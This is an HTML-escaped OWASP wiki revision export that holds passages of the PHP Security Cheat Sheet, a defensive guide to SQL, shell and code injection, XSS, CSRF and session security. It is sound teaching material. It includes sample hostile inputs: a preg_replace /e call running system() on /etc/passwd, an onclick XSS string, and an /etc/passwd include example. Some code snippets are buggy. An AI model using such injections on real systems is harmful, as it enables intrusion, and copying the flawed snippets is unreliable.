    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165050</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165050"/>
				<updated>2013-12-21T19:04:25Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Removed confusing advice that assumes you will be using concatenation/interpolation for SQL&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP status on the web==&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things). &lt;br /&gt;
&lt;br /&gt;
PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed. &lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
